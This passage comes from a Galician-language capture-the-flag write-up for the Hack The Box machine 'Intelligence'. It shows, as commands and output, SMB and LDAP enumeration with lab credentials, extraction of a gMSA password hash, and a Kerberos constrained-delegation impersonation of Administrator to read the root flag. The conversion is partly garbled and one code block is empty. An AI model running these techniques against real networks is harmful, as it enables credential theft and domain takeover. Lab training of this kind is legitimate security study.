18 do_connect: Connection to 10.10.10.248 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
19 Unable to connect with SMB1 -- no workgroup available
20
  $ smbmap -H 10.10.10.248 -u 'Ted.Graves' -p'Mr.Teddy'
21
  [+] IP: 10.10.10.248:445 Name: dc.intelligence.htb
          Disk
23
                                                                    Permissions Comment
24
    ADMIN$
25
                                                          NO ACCESS Remote Admin
                                                          NO ACCESS Default share
    C$
26
27
    IPC$
                                                          READ ONLY Remote IPC
                                                          READ ONLY
    IT
28
29
    NETLOGON
                                                          READ ONLY Logon server share
    SYSVOL
                                                          READ ONLY Logon server share
30
                                                          READ ONLY
31
32
  $ sudo mount -t cifs //10.10.10.248/Users /mnt -o username=Ted.Graves,password=Mr.Teddy,domain=intelligence.htb
```

Código 24: Acceso ao sistema: winrm

Buscando en 10.10.10.248/Users e 10.10.10.248/IT non atopamos nada de interese.

5.2. Enumeración LDAP: ldapdomaindump + bloodhound

5.2.1. GMSApassword

Imos estudar o directorio ldap mediante ldapdomaindump e bloodhound ou sharphound:

```
1 $ ldapdomaindump -u'intelligence.htb\Tiffany.Molina' -p'NewIntelligenceCorpUser9876' 10.10.10.248
2 [*] Connecting to host...
3 [*] Binding to host
4 [+] Bind OK
5 [*] Starting domain dump
6 [+] Domain dump finished
```

Código 25: ldapdomaindump

Buscamos información do usuario Ted.Graves:

```
$ firefox $(grep -Hi ted.graves *html | cut -d ':' -f1 | sort -u)
```

Código 26: Información sobre o usuario Ted. Graves


```
$ sudo neo4j console

$ $ bloodhound-python -c All -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -ns 10.10.10.248 -d intelligence.htb

$ $ mkdir bloodhound; bloodhound >/dev/null 2>&1 &;disown
```

Código 27: bloodhound

Buscamos en bloodhound por Analysis - Shortest Paths - Shortest Paths to Unconstrained Delegation Systems e parece que obtemos un xeito de elevar privilexios, como podemos observar na seguinte imaxe:










Figura 7: Elevación de privilexios

Ted Graves - ReadGMSAPassword - svc_int - AllowedToDelegate - DC.INTELLIGENCE.HTB SVC_INTINTELLIGENCE.HTB is \mathbf{a} Group Managed Service Account. The group ITSUPPORTINTELLIGENCE.HTB retrieve password for the **GMSA** SVC_INTINTELLIGENCE.HTB.

```
$ $ python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Users or groups who can read password for svc_int$:

> DC$
> itsupport
svc_int$:::ee6ba16bad56e4fd9cc2a4156710cd2d
```

Código 28: Escalada de privilexios: gMSADumper

Precisamos un correcto **spn**, logo empregamos **pywerview**:

Código 29: Escalada de privilexios: pywerview

5.2.2. Flag root

PROBLEMA TEMPO KERBEROS - ntpdate

```
$ sudo timedatectl set-ntp false

$ sudo ntpdate 10.10.10.248

{ "time":"2022-06-07T08:46:03.465482+0700","offset":-0.001070,"precision":0.053495,"host":"10.10.10.248",

"ip":"10.10.10.248","stratum":1,"leap":"no-leap","adjusted":false}

$ rm dates.txt; for i in $(timedatectl list-timezones)


do

sudo timedatectl set-timezone $i; echo -n "$i " >> dates.txt

date >> dates.txt

done

12
```









```
13 $ sudo timedatectl set-timezone Africa/Bissau
```

Código 30: ntp - kerberos

```
$ getST.py -spn WWW/dc.intelligence.htb -impersonate Administrator intelligence.htb/svc_int
 -hashes :ee6ba16bad56e4fd9cc2a4156710cd2d
 4 Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation
 6 [-] CCache file is not found. Skipping...
 7 [*] Getting TGT for user
 8 [*] Impersonating Administrator
 9 [*] Requesting S4U2self
10 [*]
       Requesting S4U2Proxy
11 [*] Saving ticket in Administrator.ccache
12
$ export 'KRB5CCNAME=Administrator.ccache'
14
15 $ impacket-smbclient Administrator@dc.intelligence.htb -k -no-pass
16 Impacket v0.10.1.dev1+20220606.123812.ac35841f - Copyright 2022 SecureAuth Corporation
17
18 Type help for list of commands
19 # shares
20 ADMIN$
21 C$
22 IPC$
23 IT
24 NETLOGON
25 SYSVOL
26 Users
27 # use Users
28 # pwd
29 \
30 # ls
                     0 Mon Apr 19 08:20:26 2021 .
31 drw-rw-rw-
32 drw-rw-rw-
                      0 Mon Apr 19 08:20:26 2021 ..
                      0 Mon Apr 19 07:18:39 2021 Administrator
33 drw-rw-rw-
                     0 Mon Apr 19 10:16:30 2021 All Users
34 drw-rw-rw-
35 drw-rw-rw-
                     0 Mon Apr 19 09:17:40 2021 Default
                      0 Mon Apr 19 10:16:30 2021 Default User
36 drw-rw-rw-
                    174 Mon Apr 19 10:15:17 2021 desktop.ini
37 -rw-rw-rw-
38 drw-rw-rw-
                     0 Mon Apr 19 07:18:39 2021 Public
                      0 Mon Apr 19 08:20:26 2021 Ted.Graves
39 drw-rw-rw-
40 drw-rw-rw-
                      0 Mon Apr 19 07:51:46 2021 Tiffany.Molina
^{41} # cd Administrator
42 # cd Desktop
43 # ls
                      0 Mon Apr 19 07:51:57 2021 .
44 drw-rw-rw-
45 drw-rw-rw-
                      0 Mon Apr 19 07:51:57 2021 ...
                    282 Mon Apr 19 07:40:10 2021 desktop.ini
46 -rw-rw-rw-
                     34 Tue Jun 7 08:19:54 2022 root.txt
47 -rw-rw-rw-
48 # get root.txt
```

Código 31: Acceso como administrador

\$ cat root.txt

Código 32: Flag root.txt







Anexos

A. URLs de Interese
Ligazóns
S4vitar https://www.twitch.tv/s4vitaar https://htbmachines.github.io https://youtube.com/s4vitar https://www.youtube.com/channel/UCgzsRmCl4BU-QmSVC4jFOlg
HackTricks https://book.hacktricks.xyz/welcome/readme https://github.com/carlospolop
PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings
Impacket https://github.com/SecureAuthCorp/impacket
${\bf SecList} \\ {\bf https://github.com/danielmiessler/SecLists}$
${\bf BloodHound} \\ {\bf https://github.com/BloodHoundAD/BloodHound/releases/}$
BLACKARROW - Introduction to kerberos attacks https://www.tarlogic.com/blog/how-to-attack-kerberos/
SANS Institute Cheat Sheet https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/
nishang https://github.com/samratashok/nishang
${\bf Powersploit} \\ {\bf https://github.com/PowerShellMafia/PowerSploit.git}$
$\begin{array}{c} nmap\text{-parse-output} \\ https://github.com/ernw/nmap\text{-parse-output} \end{array}$
$Ghost pack-Compiled Binaries \\ https://github.com/r3motecontrol/Ghost pack-Compiled Binaries$
chisel https://github.com/jpillora/chisel
${\bf MSFVenom~Cheatsheet} \\ {\bf https://github.com/frizb/MSF-Venom-Cheatsheet/blob/master/README.md}$
dbeaver (Universal Database Tool) https://dbeaver.io/download/
${ m gMSADumper} \\ { m https://github.com/micahvandeusen/gMSADumper}$
${f repoEDU-CCbySA}$



https://github.com/ricardofc/repoEDU-CCbySA